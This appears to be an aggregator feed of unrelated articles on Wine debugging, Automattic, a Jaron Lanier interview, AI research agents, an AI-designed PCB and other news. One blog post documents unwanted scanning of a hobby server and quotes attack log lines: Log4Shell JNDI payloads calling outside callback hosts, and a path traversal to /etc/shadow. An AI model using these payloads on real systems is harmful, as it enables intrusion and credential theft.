Did you catch it? The distance between the instruction is greater than what can be stored in a 32-bit value. The E8 CALL instruction can only jump between [-2 31 ,2 31 ) bytes away from the RIP as of execution because it can only store a 32-bit signed offset. Unfortunately, the pseudo reloc code simply failed silently back when I was debugging this, but I believe it has been fixed and now outputs an error when this occurs, so it shouldn't be so puzzling to future generations.

One last thing...

There is one more weird thing though. This program works on Windows, reliably. Obviously, it isn't loading libraries at their preferred base addresses, or it would crash. So why is this happening?

Well, simple: Wine doesn't support ASLR, and the libraries, at their preferred addresses, wind up too far away for the pseudo-relocations.

However, the fact that it works seemingly reliably on Windows is very interesting. Maybe an interesting exploration would be to see exactly why Windows ASLR seems to consistently choose addresses that are unproblematic. Perhaps it's because the first time after bootup that these particular modules load is in quick succession?

Regardless, now knowing how the problem can be fixed, it's hard to be motivated to dig too much deeper. It might be nice if Wine could have similar ASLR behavior to Windows, so that these problems are less likely to crop up only on Wine, but these problems could also occur on Windows with ASLR disabled, so it's probably not that important.

Overall, I had fun debugging this issue. I'm also really happy with how far Wine has come, and I do not think it is a coincidence that the issue we hit was not reasonably Wine's fault. I am, however, a bit sad that I didn't get an opportunity to track down and fix a nasty Wine bug, but all the more happy that the reason for this is because it simply didn't exist.

Maybe next time. :)

Mullenweg has returned as CEO after attempted board ouster

Hacker News
techcrunch.com
2026-09-13 16:19:06
Comments...
Original Article

After a tumultuous week that saw WordPress founder Matt Mullenweg ousted from his position as CEO of WordPress.com’s parent company Automattic by way of a board vote, the company has now issued a statement confirming that Mullenweg has returned to his position.

“Matt Mullenweg is the chairman and CEO of Automattic, with full support of the board and if you search online you can see many top executives and Automatticians supporting him as well,” a company spokesperson shared with TechCrunch via email just after 5 PM ET on Saturday evening. (The mention of online support appears to refer to supportive posts on X that Mullenweg has been reposting from his X account .)

Automattic’s board had voted earlier this week to put Mullenweg on a paid leave of absence for unknown reasons. The move seemingly came as a surprise to Mullenweg, who posted on Automattic’s Slack, accusing the board members of “conspiring” against him.

Automattic confirmed Mullenweg’s removal to TechCrunch on Wednesday, saying that Mullenweg was “currently on leave” and that Automattic’s Chief Financial Officer, Mark Davies, would lead as interim CEO with “full confidence” of the board.

However, the board’s plan did not go smoothly. Seemingly declining to depart, Mullenweg booted other admins out of the company Slack and told employees everything had been worked out and that he was back in control of Automattic , multiple sources told TechCrunch. At one point, he also posted to Slack, “I’m a pirate now” and cursed, which is something Mullenweg famously did not do . “If this is an HR problem, please wrangle me in since my normal wranglers are with Mark Davies,” he wrote.

When TechCrunch asked Mullenweg if his comments about being back as CEO were legitimate, he promised a blog post was coming. When it arrived, however, it was about him buying a houseboat . When we asked if his comments about being back were also him trolling, he replied, “I’m not a troll I’m a pirate, obviously.” Mullenweg never provided any official comment about his return, but noted on X that this was likely the fifth time he’s faced a “coup.”

Automattic also did not respond to repeated requests for comment on Friday, nor to reports we heard about board member Toni Schneider stepping down. Schneider, a founding CEO of Automattic, now leads Bluesky . He did not return requests for comment at his personal email or via requests sent to Bluesky.

We have since asked Automattic again about this and other changes to the board’s composition, which we’re hearing still may be in flux.

When you purchase through links in our articles, we may earn a small commission . This doesn’t affect our editorial independence.

Sarah has worked as a reporter for TechCrunch since August 2011. She joined the company after having previously spent over three years at ReadWriteWeb. Prior to her work as a reporter, Sarah worked in I.T. across a number of industries, including banking, retail and software.

You can contact or verify outreach from Sarah by emailing sarahp@techcrunch.com or via encrypted message at sarahperez.01 on Signal.

View Bio

Mark Zuckerberg: "Cambridge Analytica" (2017)

Hacker News
twitter.com
2026-09-13 16:08:45
Comments...
Original Article

See what’s happening and join the conversation

or

Log in with username or email

There Is No AI (It's Just People) with Jaron Lanier

Hacker News
singjupost.com
2026-09-13 15:41:06
Comments...
Original Article

Editor’s Note: In this special edition episode of StarTalk, host Neil deGrasse Tyson, co-host Gary O’Reilly, and comedian Negin Farsad sit down with computer scientist and “father of virtual reality” Jaron Lanier. Together, they explore the evolution of the internet, the societal impacts of social media addiction, and why we should view artificial intelligence as a human collaboration rather than an independent creature. The conversation dives deep into alternate tech business models, data dignity, and finding a constructive path forward for the future of technology.

TRANSCRIPT:

Introduction: Meet Jaron Lanier

NEIL DEGRASSE TYSON: Why do UFO sightings persist? Are at least some of them figments of our imagination, or are we missing something? In my latest book, Take Me to Your Leader , I actually explore what’s possible in this universe, given the universal laws of physics. If the aliens are out there, the laws of physics will dictate how they find us. I also narrated the audiobook, so I’m duly informed that the audiobook and the print version are available now wherever books are sold. This is StarTalk Special Edition, which means I got Gary O’Reilly, co-host here. Gary, how you doing, man?

GARY O’REILLY: I’m good, Neil. Over in London. London though, so slightly remote.

NEIL DEGRASSE TYSON: Okay, only slightly. On the scale of the universe, you’re right next door. I also have with me Negin Farsad. Negin, welcome back to StarTalk.

NEGIN FARSAD: Hello, I’m so excited to be back.

NEIL DEGRASSE TYSON: It’s been too long, I miss you.

NEGIN FARSAD: Absolutely. I have to say, you don’t look a day over the last time we talked about dark matter.

NEIL DEGRASSE TYSON: Okay, now let me figure out how old I would need to be for that. You’re a comedian, you’re also a TED Fellow for social justice. That’s a thing?

NEGIN FARSAD: I mean, I do comedy that tries to save the world.

NEIL DEGRASSE TYSON: Okay.

NEGIN FARSAD: And it’s worked, guys. That’s why we live in utopia.

NEIL DEGRASSE TYSON: Fake the Nation , that’s the coolest title ever.

NEGIN FARSAD: That’s right.

NEIL DEGRASSE TYSON: And I’ll never soon forget the title of your book from a few years ago.

NEGIN FARSAD: How to Make White People Laugh . Yeah.

NEIL DEGRASSE TYSON: That’s best title ever.

NEGIN FARSAD: Thank you so much.

NEIL DEGRASSE TYSON: Yeah, yeah, so Gary, what have you researched for today? It’s got something to do with the internet and it’s going to mess up the world, something like that?

Is the Internet Too Far Gone?

GARY O’REILLY: Oh yeah, let’s get the good stuff out. So is the internet too far gone in our lifetimes? The internet has changed from a novelty to a central influence in our lives, and now with the advent of AI, hawked as the potential doomsday for humankind. Well, is it? Isn’t it? Today we’re going to talk about whether that’s the case, how the internet influences our world, and how we can come together and fix it or not. So, Neil, if you will introduce our guest, and I think this is just the right person to discuss this topic.

NEIL DEGRASSE TYSON: Yeah, there’s a uniquely qualified person in the world to address those issues and more, and I’ve got him sitting right here. Jaron Lanier, dude.

JARON LANIER: Hey, how are ya?

NEIL DEGRASSE TYSON: Welcome to StarTalk.

JARON LANIER: Well, you know, I think you can speak a little lower than me, but that does not mean I will not attempt it.

NEIL DEGRASSE TYSON: Yeah, we don’t use the word polymath too freely today because there aren’t many folks, there’s so much specialization, but if I were to bring that into the 21st century, I would apply it to you. You’re a computer scientist, but interdisciplinary. What’s your title? Prime Unifying Scientist at Microsoft? That’s a title? Is that on your business card?

JARON LANIER: It actually is, yeah. Okay, it’s actually a joke. It’s Office of the Chief Technology Officer, Prime Unifying Scientist, so it spells out OCTOPUS. And there are several reasons for that. One is I used to study cephalopod cognition because it’s absolutely fascinating. But then there’s also that some accuse me of starting to look like one myself.

NEIL DEGRASSE TYSON: Oh, that happens. That can happen.

JARON LANIER: That can happen. That can happen. And so between those two things, The Octopus, yes.

NEIL DEGRASSE TYSON: I’m just impressed that that’s even a title that one can ascend to. Are you going to break the mold in your— can anyone become you in this? The answer is no, just say no.

JARON LANIER: Well, I will tell you one thing about my role. I have an agreement with them where I can speak my mind, including being encouraged to criticize the company itself, so long as I’m clear that I’m not speaking for Microsoft. And somehow they haven’t imploded. I think it actually— I would like to see more people with that role in the tech industry. Okay, so in that sense, I don’t want to be the last. I’m aware of one other maybe, who would be Vint Cerf over at Google, but I think we’re the only two. And we really desperately need more of us.

NEIL DEGRASSE TYSON: Because you know when someone has— you know where they’re clamming shut on what you really want them to say about what they’re doing. You know it in an interview, right?

JARON LANIER: Yeah, and in Silicon Valley, that’s like 90% of the time.

The Father of Virtual Reality

NEIL DEGRASSE TYSON: Yeah, yeah. So you’re considered the father of virtual reality, in part because you even coined the term?

JARON LANIER: Yeah, okay, look, I was young, all right? I think there’s—

NEIL DEGRASSE TYSON: You’re responsible.

NEGIN FARSAD: Were you on drugs, maybe? Was there that involved?

JARON LANIER: I’ve never used drugs, and I blame virtual reality for that.

NEIL DEGRASSE TYSON: Oh, it’s served that role.

NEGIN FARSAD: You haven’t needed it, yeah.

JARON LANIER: Virtual reality has served that role.

US schools and police warn about viral ‘Cat in the Hat’ trend after teens’ arrests

Guardian
www.theguardian.com
2026-09-13 15:15:57
Disturbing and AI-generated versions of Dr Seuss character have been used to threaten schools and communities Schools and law enforcement authorities in the US are issuing warnings against a viral “Cat in the Hat” social media trend in which disturbing or AI-generated versions of the Dr Seuss charac...
Original Article

Schools and law enforcement authorities in the US are issuing warnings against a viral “Cat in the Hat” social media trend in which disturbing or AI-generated versions of the Dr Seuss character are used to threaten students, schools and communities.

The latest warnings come as safety concerns increase and several teenagers have been arrested or charged over posts connected to the trend.

The Cat in the Hat trend originated on Snapchat as images or short videos showing a disturbing version of the Cat in the Hat, often resembling the character played by Mike Myers in the 2003 live-action film, lurking outside homes, schools or on streets at night.

Some footage appears to be AI-generated, while other posts include real people wearing costumes. Additionally, some videos include threatening messages towards specific towns or schools. More disturbing versions named individuals or included lists of supposed targets.

The posts originally circulated in Ireland and the United Kingdom in August 2026 before quickly becoming viral in parts of the United States and Canada, the BBC reported .

Even though social media users view the trend as a hoax or prank, authorities are warning that causing people to fear for their safety could potentially constitute as criminal harassment.

Recently, near Wichita, Kansas , a 15-year-old was arrested after allegedly posting a video on social media that made ominous threats toward students using the trend.

A statement shared by the Hutchinson police department said that during the investigation, officers determined that a 15-year-old Hutchinson high school student created a TikTok account for that community referencing the Cat in the Hat trend. The juvenile was ultimately charged with two counts of criminal threat.

“Threats of any nature are taken seriously by the Hutchinson Police Department and Hutchinson High School. Regardless of whether a post is intended as a joke, it is unlawful to cause others, particularly students, to fear for their safety,” the statement added.

Similarly, in Worth county, Georgia , two students at Worth county high school are facing charges after the school district said they participated in the viral social media hoax.

Both students involved are being charged, and will also face disciplinary action, school officials say.

Due to the potential threats caused by the trend, some school communities have also increased their police presence as a precautionary measure.

In a statement released by the Grand Junction police department in Colorado , it said that it increased its presence at West middle school and Grand Junction high school “out of an abundance of caution” after the circulation of a Cat in the Hat post. The post led to the arrest of a 14-year old student.

As the trend continues to circulate, law enforcement authorities are urging students to report any safety concerns to a trusted adult, school administrator or law enforcement official rather than reposting or sharing the content.

AI recursive self-improvement might not come so quickly after all (August 2026)

Hacker News
www.technologyreview.com
2026-09-13 14:49:44
Comments...
Original Article

The AI industry’s boldest promise right now is that AI will soon improve itself, with almost no need for human oversight. LLMs can already write code, generate synthetic data for training, and optimize the computer chips they run on. Forecasts of explosive AI progress predict that what researchers call recursive self-improvement is on the horizon.

But a new study suggests that it might take a while for us to get there. The researchers behind it found that AI agents are not yet capable of conducting open-ended AI research—free-form investigations that have no clear-cut answers and require judgment and taste, which may be integral to building self-improving AI.

A multi-institution group of researchers, led by Peter Kirgis and Sayash Kapoor at Princeton University, found that AI agents could solve the engineering problems necessary to do AI research but lacked the judgment and creativity to produce original research at the caliber of  papers accepted by a top machine-learning conference. The gap suggests that some of the hyped-up timelines for automating AI research may be running ahead of the evidence.

Most existing research on how agents can automate AI research evaluates their ability to complete narrow tasks with checkable answers, such as solving engineering problems or post-training small language models against a benchmark. But making progress in AI research also requires open-ended thinking—choosing a set of hypotheses, deciding what evidence would settle a question, or knowing when to start over.

To test agents on those kinds of skills, the researchers in the study proposed a new method of evaluation called “shadow evaluation,” which requires the AI to answer a research question from a high-quality unpublished paper.

The researchers asked Anthropic’s Claude Opus 4.8, running on open-source software called OpenClaw, to tackle such questions, in this case from two papers submitted to the prestigious machine-learning conference NeurIPS 2026.

The first question was whether a large language model’s “personas,” which determine its behavior, can be controlled by editing the model’s weights (the billions of numbers that store everything it learns during training). The other asked how to design a detector that points out when a model that makes predictions based on spreadsheet data has become unreliable. Because the papers had not been made public, the agents could not memorize the answers from their training data or find them online.

The agents were given six days, $3,000 in Anthropic API credits, a GPU budget to run the experiments, their own virtual computers, and access to the open web to produce a research paper worthy of publication at a top-tier AI conference. The papers’ original authors graded the agents’ papers as they would evaluate one submitted to a conference.

Those authors rejected both papers.

The agents were capable of all the engineering required to conduct the research, the human scientists found. The agents reviewed the literature, ran hundreds of experiments, and compiled the results.

“On the other hand, the agents were unambiguously bad at carrying out the research itself,” says Kapoor. They ran bizarre experiments (in some cases testing their hypotheses on tiny synthetic datasets), struggled to write intelligibly about their work, and made no novel contribution to their fields. “The papers were nowhere close to the mark when it came to being at the quality of a top AI conference,” he says.

That’s because the agents struggled to muster the creativity and judgment necessary for conducting research. They didn’t do enough to explore different ideas, and they committed to unpromising approaches too quickly. Though the agents developed novel and ambitious hypotheses resembling those that the original authors themselves started with, they rejected them on the basis of very limited data. And they couldn’t backtrack from failing approaches. They could make small pivots but could not fundamentally rethink their approach or try new ones from scratch.

The agents also failed to incorporate feedback from subagents or external AI reviewing tools. Instead of revising their methodology, the agents narrowed their claims and added caveats. They also couldn’t effectively use resources, such as tokens, compute, and time. And they couldn’t follow instructions about things like how much time to spend on different phases of the research or how long their paper could be.

For all their failures, the agents didn’t engage in the misbehavior that researchers call “ reward hacking ,” hiding or misrepresenting experiments or data. Although subagents, or helper AIs that the main agent spawns to handle pieces of the work, occasionally hallucinated or misrepresented the results, these were caught by the orchestrator agent, the lead AI supervising the project.

The reason AI models are good at research engineering but not at open-ended research may come down to how they’re trained, says Kapoor. Models get good at whatever they can be drilled on in a training regime called reinforcement learning, which is easier to apply to tasks whose success can be checked automatically. “But it’s harder to create environments to train these models when the task itself is open-ended,” he says.

Kapoor says the team is now conducting the experiment with Mythos, Anthropic’s most advanced model, which launched in April. It was subsequently required by the Trump administration to meet various safety restrictions and is now available only to approved organizations. Anthropic did not respond to a request for comment.

There are some limitations to the study. It covered just two research papers, and the original authors knew the papers they were grading were generated by AI agents, which could have colored their evaluations. And the researchers had substantial discretion in designing and executing the study, meaning that their preexisting beliefs and biases could have slipped into the results. Evaluations of open-ended research trade some objectivity for a much richer test than any benchmarks can offer.

Still, the results may temper the claims that recursive self-improvement is on the horizon. In June, Anthropic published a blog post titled “When AI Builds Itself,” charting its progress toward models that speed up their own development. In July, OpenAI advertised the fact that its new model GPT-5.6 Sol had helped post-train a smaller model, saving researchers weeks of work.

The new finding may echo what AI companies are finding internally, regardless of their most optimistic public statements. Anthropic cofounder Jack Clark wrote in his newsletter Import AI that it rhymes with what the company found when it tried to automate some aspects of AI safety research.

“There’s a certain absence of valuable, intuitive creativity in today’s AI systems, and though they’re extraordinarily capable engineers they seem to have a certain property of rote, formulaic thinking that might prevent them [from] being good researchers,” he wrote. He called AI systems’ lack of creativity a “bearish signal on short recursive self-improvement timelines.”

AI companies do have every incentive to develop AI systems that can rapidly accelerate their own progress, just as they did to make the models better at coding. OpenAI has made building an automated AI researcher an explicit goal, and Anthropic identifies self-improving AI as the industry’s next milestone.

“If there is investment and then conscious effort toward this direction, I feel like there would be interesting progress, even if it’s failing currently,” says Najoung Kim, a professor of linguistics and computer science at Boston University who researches how AI agents can automate AI research but did not work on the study. On the other hand, it’s possible that AI progress may be bifurcated. AI systems might race ahead on narrow tasks—the kind that can be scored—while advancing slowly on open-ended research.

The big open question, then, is how crucial open-ended research is to recursive self-improvement—whether AI systems can grind their way there without it, simply by improving on the narrower tasks. “If we look back to the biggest advances in the field, the invention of transformers or the invention of big new architectures that allowed us to make a lot of AI progress—all of those did require creative leaps,” says Kapoor.

“That said, others have this hypothesis that all of what we need for transformative AI, in particular for recursive self-improvement, is already there.” That would include making a model train faster and boosting its benchmark scores.

“That’s frankly the trillion-dollar question right now,” he says.

Flock cameras used to arrest a child for playing on a swing

Hacker News
www.youtube.com
2026-09-13 14:47:26
Comments...

I'm being cyberattacked by Tesla, Inc

Hacker News
dreamstation.systems
2026-09-13 14:03:09
Comments...
Original Article

While it’s not unusual for everything on the dark dungeons of the IPv4 Internet to be subject to a barrage of drive-by scanner traffic and the occasional bizarrely persistent attacker, I noticed something strange while looking through my nginx logs. Persistent attack traffic coming from three particular IPs, with the strange thing being that they were arriving with Host or Referer headers from pool-ntp.tesla.com , carried Assetnote user agents, and were trying to SSRF me to Assetnote callback URLs:

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

The traffic came from three specific scanners: 54.165.75.96 , 35.168.63.24 , and 52.44.200.251 . All of those are in the Amazon Web Services AS (AMAZON-AES).

Assetnote, a legitimate attack surface management tool now called Searchlight Cyber in marketing materials, does indeed use continuous threat exposure scanners like this to perform automated checks for customers’ assets. Assuming this is actual Assetnote traffic (they do indeed use AWS, so that checks out), they must be mistaking me for an internal Tesla asset.

How this happened

Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org . pool.ntp.org is the NTP Pool , a round‐robin of volunteer NTP servers that I’m a part of . (Sidenote, they should be using a vendor zone, not their own CNAME under tesla.com .)

Speculation: Assetnote pulled in everything it could find under tesla.com , including pool-ntp.tesla.com , which CNAMEs to pool.ntp.org , which can resolve to my machine — 67.215.249.229 . The asset inventory saves this as a Tesla asset, and starts throwing exploits at me, a stranger.

I emailed Tesla about this, and haven’t heard back yet:

Hi,

Not a vuln in Tesla, and I'm not asking for anything, but I just wanted to let you know that you may unintentionally be being a nuisance.

My server is a member of the NTP Pool. Over roughly the past two days, it has received ~8,000 requests from two of your scanning hosts: <54.165.75.96> and <35.168.63.24>, UA <Assetnote/1.0.0 (ExposureScan)>, with many templated exploit payloads.

Every payload used <pool-ntp.tesla.com> as the target hostname. I assume you have an internal subdomain that resolves round‐robin onto NTP Pool member servers, the vast majority of which are not owned by Tesla. Your asset discovery appears to be unintentionally including every IP that <pool-ntp.tesla.com> can resolve to as in‐scope for active scanning.

No harm caused here, but I wanted to warn you that **you are throwing exploits at strangers’ IPs**.

Happy to share verbatim logs if useful.

Robin
dreamstation.systems / 67.215.249.229

Their traffic

They tried all kinds of exploits against me: path traversal, webshell uploads, probing software internals, probing WordPress and other CMS management endpoints, SSRF, Log4Shell, and a lot more.

There were also callback attempts. 989 requests embedded assetnote-callback.com hostnames for Log4Shell and Text4Shell detection, and 114 named canary.assetnotessrf.com for SSRF:

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

Something funny that I don’t have an explanation for is that fifteen requests carried a Host header login.solarcity.com , all requesting GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll , which I think is some sort of ASP.NET trick trying to resolve /b/(S(x))in/ to /bin/ .

I found some other amusing information outside of the Host header. Sweeping the Referer headers, URLs, and query strings turns up hostnames baked into the templates themselves, like this:

GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

Other third‐party hostnames I noticed included servicemcdonalds.com , saferas.com , rsmafghanistan.af , enrichcs.com.au , escience2010.org , al-forno.com.au , and disneyfineart.com .

An RFC 1918 address also appears in the Referer of one probe:

GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

The scanner also tries to talk HTTP at every port it finds for some reason. My SSH, Postfix, and Dovecot have gotten tons of junk HTTP traffic.

On September 8, I started answering the pool-ntp.tesla.com Host with non‐standard status code 299 (to hopefully catch the attention of a human reading the scanner logs), with a body of this notice on every path:

# This is not Tesla infrastructure!

This is a hobbyist NTP, web, and miscellaneous server.

Over the past few days, I have been receiving tons of requests at the pool-ntp.tesla.com Host from two Assetnote scanning hosts (54.165.75.96 and 35.168.63.24).

pool-ntp.tesla.com CNAMEs to pool.ntp.org, which round-robins to thousands of volunteer NTP servers, and your scanner seems to have gotten stuck to my server.

You have not caused me any harm, but you are throwing exploits at strangers' IPs.

I have emailed VulnerabilityReporting@tesla.com about this. If you would like, email me back at robin@dreamstation.systems and I can provide detailed logs.

It has unfortunately not seemed to change the behavior so far.

None of their attacks have succeeded, which I’m proud of.

Since August 21, I’ve gotten over 50,000 requests from Assetnote hosts. The traffic has not stopped yet; I will update this post in the future.

(Yes, I could just firewall out their IPs, but it’s very fun to observe this, and I want to make someone at Tesla aware of what’s going on.)

Are they doing this to the entire pool?

I asked the NTP Pool server operator community board if anyone else who happens to run a web server on the same IP as their NTP server is seeing this. One operator, Matt Nordhoff, said he had also been seeing this since August 15:

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
   9126 54.165.75.96
   7461 35.168.63.24
   6123 52.44.200.251
     11 64.227.103.50
      6 146.190.142.16
      4 3.101.230.148
      3 3.88.188.142
      3 3.101.216.68
      2 54.213.2.72
      2 54.202.10.40

but nobody else has said anything. I am wondering if they are re‐resolving pool-ntp.tesla.com every single time and hitting everything the geolocation magic will let them reach, or if they just collected a few pool IPs and are only hammering those.

This PCB is brought to you by Fable 5

Lobsters
a6mzero.com
2026-09-13 14:00:25
Comments...
Original Article
The board I will be journaling about.

I have been wanting to design a simple PCB for the last couple of years now. The thought of converting a design idea into a physical board and programming it to do things is fascinating to me. Long story short, I procrastinated until I tried to vibe-generate a dead simple PCB with Claude Opus 4.8 and it was terrible ! It had no idea about the orientation of the components, it did not do any proper routing. I was disappointed and accepted the fact that these tools were not there yet.

Then arrived the Fable 5. At first I was not that hopeful. One Thursday evening, around 10 hours before my weekly reset for Claude, I decided to give it another try; this time with Fable 5.

I had two rules:

  1. No manual edits or verification of the board.
  2. Every problem I face before manufacturing will be solved by Fable.

This meant I was going to trust Fable with my wallet. I decided to describe the board I want it to generate, and I was not going to be involved in the design phase. I was the end customer.

This is the prompt I gave it:

That was it, a short description of a RPI 2350 based development board which can drive an E-ink display. After working autonomously for a couple of hours it came up with the design shown in the video below.

The board as it freshly came out of Kicad ⃰.

Board
31.8 × 37.32 mm, 4 layer

MCU
RP2350A

Display
1.54" E-ink, 200×200

Flash
8 MB QSPI

Cost
26€ per board

A closer look to some errors

The design process was not error free of course. When I showed the initial design (Claude was still working on it) of the PCB to my colleague, the first thing he wanted me to check (after recovering from the pain of seeing them tracks) was the DRC (Design Rule Checking) errors. I did not know what it was, and when we looked at it, there were indeed 65 DRC errors. Following the rule, I only mentioned the errors to Fable and did nothing else.

Fable was amazing at component selection, except for the two components I highlighted above. The big one on the top left is the SPI flash which stores the firmware and other data that you want to save. The SPI flash memory Claude chose was W25Q128JVS. It comes with the SOIC-8 wide package, but the pads designed for the memory was for a SOP-8 package, meaning the chip is too big for the pads. The bottom left component on the other hand is the transistor that switches the boost converter for the E-ink driver circuitry. As you can see it also chose the wrong package, as it is too small for the pads. I did not realise these until I uploaded the required files to JLCPCB. There I could see the issues, and I discussed it with Claude. For the W25Q128JVS it insisted that there was a SOP-8 package but I could not find it in LCSC's library. Eventually we settled at the P25Q64SH chip.

But wait a minute, how did it even route ?

The design had 65 footprints, 54 nets and 118 unconnected lines. It is not a complex PCB by any means :P. Fable decided to use the Freerouting open-source project. The tool worked for 2 minutes, and after seventeen passes it plateaued at sixty nine connections, leaving 49 disconnected, and it could not finish the job. The remaining connections were hand-routed by Claude.

Freerouting doing its job

After I ordered the board my colleague mentioned to me the KiCadRoutingTools open-source project. It ran for 1.25 seconds and it could route all the connections with no problem. I will try this tool out for my upcoming hardware projects.

Freerouting versus KiCadRoutingTools
Same placement, two routers

Ordering with JLCPCB

I had never ordered anything from a PCB manufacturer before. It seemed complex and I was reluctant to take the first step. Upon Claude's compilation of the project, I asked it to prepare the required files for JLCPCB, and tell me what to select on their GUI. Man am I satisfied with JLCPCB. It was so straight forward, easy to interact with and there was no bloat. I uploaded the files, some components Claude selected were not available, we did a back and forth and voila we were done. For five fully assembled boards I paid 130 Euros, ordered the E-ink displays from a local shop and now it was the waiting game.

Some cool animations while we are waiting for the PCBs

The four layers, pulled apart.
Assembly of our board

The boards have arrived !!!

I received the PCBs and the first thing I wanted to do was to plug it in to my laptop. I have broken multiple USB modules for my Framework earlier, hence I thought checking for a short between 3v3 and ground was a no-brainer, although my colleague was suggesting me to just yeet it since this was a fully vibe-generated board. There was no short and I just plugged it in. There it was, the board was recognized and it was ready to be used.

What do I do with it ?

I already wrote some proof-of-concept apps, and they worked perfectly fine. I can read on that beautiful 1.54 inch display :D Stopwatch is quite handy if i need some focusing, and the album is my favourite feature since even after powering the board off, the images stay on the display thanks to E-ink.

Hands on with the finished board.

How do I feel all about this ?

Great and meh. I love how I was able to just describe the board I want in plain English, send the files overseas and then receive a fully functional board without knowing any proper PCB design knowledge. The possibilities are limitless here, and I will certainly continue doing this in the future.

That said, I was not feeling much of an accomplishment, rightfully so. I used to enjoy the learning and the struggle that came with it. Although we are in the best era to learn about something, the fact that you can make things without knowing anything about a subject puts you in an uncomfortable spot.

The future I wish to have

Yes it does suck that the joy we had while building has been sucked out of us and now we are told to enjoy building from a higher abstraction level. I am trying to adjust to this, especially at work. At work I can't just YOLO stuff so I meticulously review all the time. It is tiring but knowing the fact that my input still matters, is rewarding. For my hobby projects tho, I will continue to YOLO it and build stuff fast without necessarily knowing about the details.

I hope one day JLCPCB or PCBWAY will have a chat-box where I can dump all my ideas and some of my illustrations, and two days later they will ship me the board. I want them to remove the middle man, and make PCB generation so much simpler and safer.

Sneak Peek

I already started working on my next project. Using Fable 5.1 with KiCAD and KiCADRoutingTools I am building an NVIDIA Jetson Orin Nano based tablet. The same rules I mentioned earlier will apply and I will let you know about the results(if I get to order it :P) .

NVIDIA Jetson Orin Nano based Tablet

Thank you for reading my journal, sharing is the most fun part of tinkering and building. I appreciate that you are part of this fun journey :)

Global Shortage Has Led to Motor Oil Rationing at Costco

Hacker News
guessingheadlights.com
2026-09-13 13:57:59
Comments...
Original Article

Changing your own oil has traditionally been one of the easiest ways to save money on car maintenance. For Costco members, Kirkland Signature synthetic oil has made the DIY approach particularly attractive thanks to its relatively low price.

That bargain has suddenly become much less compelling. According to The Auto Wire , a 10-quart case of Kirkland Signature full-synthetic motor oil is now listed at $57.99, up from prices that hovered in the mid-$30 range for years.

The price increase isn’t the only unusual development. Costco has also introduced purchase limits, restricting members to two units every seven days, meaning customers can buy a maximum of 20 quarts during that period.

Motor oil isn’t typically something shoppers expect to see rationed, which makes the restriction noteworthy. The Auto Wire points to tightening lubricant supply alongside the increasingly expensive and complicated process of producing oil that meets modern engine requirements.

Motor Oil Isn’t As Simple As It Used To Be

You might be changing your oil too often
Image Credit: Shutterstock.

Today’s lubricants have to cope with turbochargers, direct injection, and increasingly demanding engines while meeting tougher industry specifications. Kirkland’s 5W-30 synthetic, for example, carries General Motors’ dexos1 Gen 3 approval.

Oils carrying that designation must satisfy GM’s testing requirements and licensing program. Modern API and ILSAC standards also require additional testing, including protection against low-speed pre-ignition, which can be particularly problematic for turbocharged direct-injection engines.

That means the oil sitting on Costco shelves is a considerably more sophisticated product than its basic plastic container might suggest. Developing, testing, and certifying those formulations adds costs before the product even reaches retailers.

Supply Is Tightening, Too

The Auto Wire also points to pressure further upstream in the petroleum industry. Base oil used to produce lubricants comes from the same refining system responsible for gasoline and diesel, leaving refiners to balance production according to market conditions.

When transportation fuels offer stronger returns, lubricant base-stock supply can face additional pressure. Those costs eventually work their way through manufacturers and distributors before reaching consumers.

Costco isn’t limiting only its Kirkland product, either. The Drive reports that Mobil 1 purchases are also restricted, although its limit is considerably higher at five units per member.

DIY Oil Changes Are Getting Pricier

Checking and changing your oil is important to engine health
Image Credit: Shutterstock.

The biggest consequence will be felt by drivers who service their own cars. Once a Kirkland 10-quart pack costs nearly $58, adding a quality filter can narrow the price advantage DIY maintenance traditionally held over some independent shops.

The purchase limit is arguably the bigger warning sign. Seeing motor oil rationed at Costco is unusual, and combined with the sharp price increase, it shows just how much pressure the lubricant market is currently facing.

The L Word: 22 Years On, the Sexy Lesbian Series Remains a Cornerstone for Modern Sapphic Culture

Portside
portside.org
2026-09-13 13:54:50
The L Word: 22 Years On, the Sexy Lesbian Series Remains a Cornerstone for Modern Sapphic Culture Marti Sun, 09/13/2026 - 13:54 ...
Original Article

‘It’s impossible to exist even on the periphery of lesbian culture and not know the show’s core references’. Pictured: Leisha Hailey as Alice and Katherine Moennig as Shane in The L Word (2004). | Photograph: PictureLux/The Hollywood Archive/Alamy

I recently posted a simple question on Instagram: “Attention queer people in my phone: what is your relationship to The L Word ?”

A few people responded with names of the characters: Bette, Shane, Dana. Others lamented over storylines that should have been: Kit was supposed to be a leather dyke journalist but apparently they wrote it out; why did they let Alice and Tasha stay together for so long? Many gleefully commented on the amount of sex the show has. One well-meaning gay man said it takes him a while to say The L Word in a relationship, then he immediately realised I was talking about the TV show and retracted his statement. Overwhelmingly, however, was the variation on one take: It’s so terrible and I love it so much.

Premiering in 2004, The L Word follows a group of queer women in their mid 20s to 30s as they navigate relationships, careers, sex and friendships against the backdrop of the permanently sunny and perpetually horny Los Angeles. Created by Ilene Chaiken, the show was based on her own experiences of flings, heartbreak and stereotypes as a lesbian, and was positioned as a response to the success and heterosexuality of Sex and the City, which was its own media mammoth by the early 2000s. The L Word’s first season tagline was simply: “Same sex. Different city.”

‘I was immediately enamoured by the reality of a show following a group made up of entirely queer women who aren’t automatically likable or agreeable.’ Photograph: Cinematic/Alamy

